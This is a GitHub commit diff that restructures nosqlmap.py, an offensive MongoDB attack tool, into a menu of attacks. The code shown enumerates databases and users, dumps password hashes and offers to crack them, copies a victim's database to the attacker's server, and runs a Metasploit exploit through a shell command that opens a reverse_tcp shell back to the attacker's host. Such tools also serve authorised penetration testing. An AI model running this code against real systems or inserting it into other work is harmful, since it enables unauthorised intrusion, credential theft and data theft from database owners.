Skip to content

Commit 9f63262

Browse files
tcstooltcstool
authored andcommitted
Code restructure and menu for NetAttacks
1 parent 3114b49 commit 9f63262

File tree

1 file changed

+100
-74
lines changed

1 file changed

+100
-74
lines changed

nosqlmap.py

Lines changed: 100 additions & 74 deletions
Original file line numberDiff line numberDiff line change
@@ -374,6 +374,7 @@ def netAttacks(target):
374374
print "================="
375375
mgtOpen = False
376376
webOpen = False
377+
mgtSelect = True
377378
#This is a global for future use with other modules; may change
378379
global dbList
379380
global dbPort
@@ -435,99 +436,123 @@ def netAttacks(target):
435436
dbTemp= dbs['databases'][x]['name']
436437
print str(menuItem) + "-" + dbTemp
437438
menuItem += 1
439+
else:
440+
print "REST interface not enabled."
438441
print "\n"
439442

440-
else:
441-
print "REST interface not enabled."
442-
443-
except:
444-
443+
except:
445444
print "MongoDB web management closed or requires authentication."
446445

447-
print "\n"
448446
if mgtOpen == True:
449-
print "Server Info:"
450-
mongoVer = conn.server_info()['version']
451-
print "MongoDB Version: " + mongoVer
452-
mongoDebug = conn.server_info()['debug']
453-
print "Debugs enabled : " + str(mongoDebug)
454-
mongoPlatform = conn.server_info()['bits']
455-
print "Platform: " + str(mongoPlatform) + " bit"
456-
print "\n"
457447

458-
try:
459-
print "List of databases:"
460-
dbList = conn.database_names()
461-
print "\n".join(dbList)
448+
while mgtSelect:
462449
print "\n"
450+
print "1-Get Server Version and Platform"
451+
print "2-Enumerate Databases/Collections/Users"
452+
print "3-Check for GridFS"
453+
print "4-Clone a Database"
454+
print "5-Launch Metasploit Exploit for Mongo < 2.2.4"
455+
print "6-Return to Main Menu"
456+
attack = raw_input("Select an attack: ")
457+
458+
if attack == "1":
459+
print "\n"
460+
getPlatInfo(conn)
463461

464-
except:
465-
print "Error: Couldn't list databases. The provided credentials may not have rights."
466-
467-
print "List of collections:"
468-
#print "\n"
469-
470-
try:
471-
for dbItem in dbList:
472-
db = conn[dbItem]
473-
colls = db.collection_names()
474-
print dbItem + ":"
475-
print "\n".join(colls)
462+
if attack == "2":
463+
print "\n"
464+
enumDbs(conn)
465+
466+
if attack == "3":
467+
print "\n"
468+
enumGrid(conn)
469+
470+
if attack == "4":
471+
print "\n"
472+
stealDBs(myIP,conn)
473+
474+
if attack == "5":
476475
print "\n"
476+
msfLaunch()
477+
478+
if attack == "6":
479+
return
480+
481+
477482

478-
if 'system.users' in colls:
479-
users = list(db.system.users.find())
480-
print "Database Users and Password Hashes:"
483+
def getPlatInfo (mongoConn):
484+
print "Server Info:"
485+
print "MongoDB Version: " + mongoConn.server_info()['version']
486+
print "Debugs enabled : " + str(mongoConn.server_info()['debug'])
487+
print "Platform: " + str(mongoConn.server_info()['bits']) + " bit"
488+
print "\n"
489+
return
490+
491+
def enumDbs (mongoConn):
492+
try:
493+
print "List of databases:"
494+
print "\n".join(mongoConn.database_names())
495+
print "\n"
496+
497+
except:
498+
print "Error: Couldn't list databases. The provided credentials may not have rights."
499+
500+
print "List of collections:"
501+
502+
try:
503+
for dbItem in mongoConn.database_names():
504+
db = mongoConn[dbItem]
505+
print dbItem + ":"
506+
print "\n".join(db.collection_names())
507+
print "\n"
508+
509+
if 'system.users' in db.collection_names():
510+
users = list(db.system.users.find())
511+
print "Database Users and Password Hashes:"
481512

482-
for x in range (0,len(users)):
483-
print "Username: " + users[x]['user']
484-
print "Hash: " + users[x]['pwd']
485-
print "\n"
486-
crack = raw_input("Crack this hash (y/n)? ")
513+
for x in range (0,len(users)):
514+
print "Username: " + users[x]['user']
515+
print "Hash: " + users[x]['pwd']
516+
print "\n"
517+
crack = raw_input("Crack this hash (y/n)? ")
487518

488-
if crack in yes_tag:
489-
passCrack(users[x]['user'],users[x]['pwd'])
519+
if crack in yes_tag:
520+
passCrack(users[x]['user'],users[x]['pwd'])
490521

491-
except:
492-
print "Error: Couldn't list collections. The provided credentials may not have rights."
493-
494-
print "\n"
495-
#Start GridFS enumeration
496-
497-
testGrid = raw_input("Check for GridFS (y/n)? ")
522+
except:
523+
print "Error: Couldn't list collections. The provided credentials may not have rights."
498524

499-
if testGrid in yes_tag:
525+
print "\n"
526+
return
527+
528+
def enumGrid (mongoConn):
529+
try:
530+
for dbItem in mongoConn.database_names():
500531
try:
501-
for dbItem in dbList:
502-
try:
503-
db = conn[dbItem]
504-
fs = gridfs.GridFS(db)
505-
files = fs.list()
506-
print "GridFS enabled on database " + str(dbItem)
507-
print " list of files:"
508-
print "\n".join(files)
532+
db = mongoConn[dbItem]
533+
fs = gridfs.GridFS(db)
534+
files = fs.list()
535+
print "GridFS enabled on database " + str(dbItem)
536+
print " list of files:"
537+
print "\n".join(files)
509538

510-
except:
511-
print "GridFS not enabled on " + str(dbItem) + "."
512539
except:
513-
print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights."
540+
print "GridFS not enabled on " + str(dbItem) + "."
541+
542+
except:
543+
print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights."
514544

515-
stealDB = raw_input("Steal a database (y/n-Requires your own Mongo server)?: ")
516-
517-
if stealDB in yes_tag:
518-
stealDBs (myIP)
545+
return
546+
519547

520-
getShell = raw_input("Try to get a shell? (y/n-Requrires mongoDB <2.2.4)? ")
521-
522-
if getShell in yes_tag:
523-
#Launch Metasploit exploit
524-
try:
525-
proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True)
548+
def msfLaunch():
549+
try:
550+
proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True)
526551

527-
except:
528-
print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
552+
except:
553+
print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
529554
raw_input("Press enter to continue...")
530-
return()
555+
return
531556

532557

533558
def postApps():
@@ -1276,7 +1301,8 @@ def buildUri(origUri, randValue):
12761301

12771302
return uriArray[0]
12781303

1279-
def stealDBs(myDB):
1304+
def stealDBs(myDB,mongoConn):
1305+
dbList = mongoConn.database_names()
12801306
menuItem = 1
12811307
if optionSet[4] == False:
12821308
raw_input("No destination database set! Press enter to return to the main menu.")
@@ -1453,7 +1479,7 @@ def massMongo():
14531479
success.append(target)
14541480

14551481
elif result == 2:
1456-
print "Successful MongoDB connection but error executing command."
1482+
print "Successful MongoDB connection to " + target.rstrip() + " but error executing command."
14571483
success.append(target)
14581484

14591485
elif result == 3:

0 commit comments

Comments
 (0)